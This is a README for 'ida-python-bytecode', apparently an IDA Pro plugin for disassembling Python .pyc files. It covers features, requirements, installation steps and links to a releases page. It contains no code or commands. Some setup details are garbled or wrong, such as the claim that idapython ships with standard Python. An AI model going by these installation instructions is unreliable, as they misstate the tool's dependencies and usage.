Prashant33pixel

🎉 ida-python-bytecode - Effortless Python Bytecode Analysis

🏷️ Download Now

🚀 Getting Started

Welcome to ida-python-bytecode! This module allows you to efficiently disassemble and analyze Python compiled bytecode files (.pyc). You can easily work with bytecode from various Python versions, making your analysis smoother.

🔧 Features

• Full Python Version Support: Works with bytecode from Python versions 2.7 through 3.14+.
• Automatic Version Detection: The module detects the Python version from the .pyc file headers.
• Raw Marshal Support: Load raw code objects directly without needing a header.
• Rich Disassembly Output: View detailed disassembly that includes:
  • Resolved constant references such as strings and numbers.
  • Variable names for better understanding.
  • Comparison and binary operator symbols.
  • Intrinsic function names for Python 3.12+.
• Proper Control Flow Analysis: Understand how the code flows and executes.

📥 Download & Install

To get the latest version, visit this page to download: Releases Page.

You can find the latest release along with notes about new features and bug fixes.

⚙️ System Requirements

• Operating System: Windows 10 or later, macOS, or Linux.
• Python Version: Ensure you have Python 2.7 to 3.14+ installed on your system.

🔗 Dependencies

This module may require some additional Python libraries. While these libraries are usually included in a standard Python installation, please check for:

• idapython
• pycparser

🧑‍🏫 How to Use

1. Download the Module: Click the link above to download the relevant .pyc files or the module.
2. Installation: Place the module in the appropriate directory in your IDA Pro installation. Follow the instructions here if needed:
   • For Windows: C:\Path\To\IDA\python
   • For macOS/Linux: /Path/To/IDA/python
3. Open IDA Pro: Launch IDA Pro.
4. Load your Python bytecode file: Open the .pyc file in IDA.
5. Run the Analysis: Use the module to analyze the bytecode.

🐞 Troubleshooting

If you encounter issues, check the following:

• Ensure you have the correct version of Python installed.
• Verify the module is correctly placed in the IDA directory.
• Consult the detailed documentation available on the releases page for additional support.

📚 Additional Resources

• Documentation: Find detailed guides and examples in the Wiki section.
• Community: Join discussions and seek help from fellow users via the GitHub Discussions forum.

🛠️ Contributing

We welcome contributions. If you wish to enhance this module, feel free to fork the repository, make your changes, and submit a pull request. Make sure to follow the contribution guidelines.

📞 Support

For any inquiries or issues, please open an issue on GitHub. We aim to respond promptly to help you get the most from ida-python-bytecode.

📑 License

This project is licensed under the MIT License. You can use it freely while adhering to the terms outlined in the license file.

Happy analyzing! Enjoy using ida-python-bytecode for your Python bytecode processing needs.